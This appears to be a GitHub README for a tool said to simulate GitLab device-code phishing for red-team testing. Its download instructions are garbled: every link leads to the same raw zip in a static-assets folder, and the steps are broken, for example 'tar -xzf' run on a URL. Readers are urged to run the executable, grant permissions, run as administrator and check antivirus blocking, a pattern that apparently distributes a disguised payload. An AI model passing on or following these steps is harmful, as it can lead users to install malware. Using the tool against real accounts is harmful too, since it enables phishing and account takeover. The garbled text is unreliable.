GitLabDeviceCodePhishing is a tool designed to help security teams test their defenses. It simulates a phishing attack using GitLab's device code method. This allows professionals to see how well their systems and users stand up to this type of social engineering.
This tool is mainly for red team engagement, which means it helps organizations find weak spots before real attackers do. It is made to be straightforward and easy to use, even for people who do not have a deep programming background.
- Security professionals wanting to test GitLab phishing risks
- IT teams tasked with improving company security
- Anyone curious about device code phishing methods
- Trainers and educators who teach cybersecurity concepts
Before you start, make sure your system meets these basic needs:
- Operating System: Windows 10 or later, or Linux with a recent kernel
- Memory: At least 4 GB RAM
- Storage: 100 MB free space for the program files
- Internet: Active connection during use
- A GitLab account to test against (recommended but not mandatory)
If you do not meet these requirements, the software might not work correctly or might run very slowly.
- Simple interface with clear options
- Supports GitLab device code flow for phishing tests
- Generates realistic phishing prompts
- Logs attempts for review and analysis
- Saves results to easy-to-read files
- Works on both Windows and Linux
Follow these steps to download and run GitLabDeviceCodePhishing:
-
Visit the Download Page
Go to the releases page by clicking the big blue button at the top or here:
https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip -
Download the Latest Version
On the releases page, look for the newest release. It usually has the highest version number or the latest date. Download the file that fits your system:- For Windows, this will typically be a
.exeor.zipfile. - For Linux, this might be a
https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.ziparchive or a binary file.
- For Windows, this will typically be a
-
Unpack Files If Needed
If you downloaded a compressed file like.ziporhttps://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip, use an extractor program to unzip it. On Windows, right-click and select "Extract All." On Linux, use the terminal withtar -xzf https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip. -
Run the Program
Find the main executable file in the extracted folder and double-click it. On Linux, you might need to give permission by runningchmod +x filenamein the terminal before launching. -
Follow On-Screen Instructions
The program will guide you through setting up the phishing attempt. It will ask for inputs like the GitLab URL and details about the test.
You can always return here to download the latest version:
Download GitLabDeviceCodePhishing
- Click on the latest
.exeor.zipfile under "Assets." - Save the file to your Desktop or Downloads folder.
- If zipped, extract the files.
- Double-click on the
.exefile to start. - Grant any permissions if Windows asks you.
- The program window will open, ready for setup.
- Click on the latest
https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zipor binary file under "Assets." - Save it to your home folder.
- Open a terminal and navigate to the folder where you saved the file.
- Extract if needed:
tar -xzf https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip - Make the file executable:
chmod +x filename - Run the program:
./filename
- Open the program.
- Enter the GitLab instance URL you want to target.
- Input any required details, such as project or organization name.
- Start the phishing simulation.
- Watch for the prompts shown to the user.
- Review the logs saved by the application after the test finishes.
- Use results to improve security or train staff.
-
Program Won't Start:
Make sure your system has the right version of Windows or Linux. Check if your antivirus is blocking it. -
Error During Setup:
Confirm you typed the GitLab URL correctly. Also, verify your internet connection. -
No Logs Are Created:
Ensure the program has permission to write to the folder. Try running as administrator. -
Phishing Prompt Does Not Show:
Check if all steps were followed correctly. Restart the program and try again.
- Run tests in a safe environment where no real user accounts or data are at risk.
- Use the logs to understand how phishing methods might succeed or fail.
- Regularly update the tool by checking the releases page.
- Consult your organizationβs security policy before running phishing tests.
If you need help or face issues:
- Visit the GitHub Issues tab on the repository page.
- Look for existing answers or open a new issue.
- Include details like your OS, what you tried, and screenshots if possible.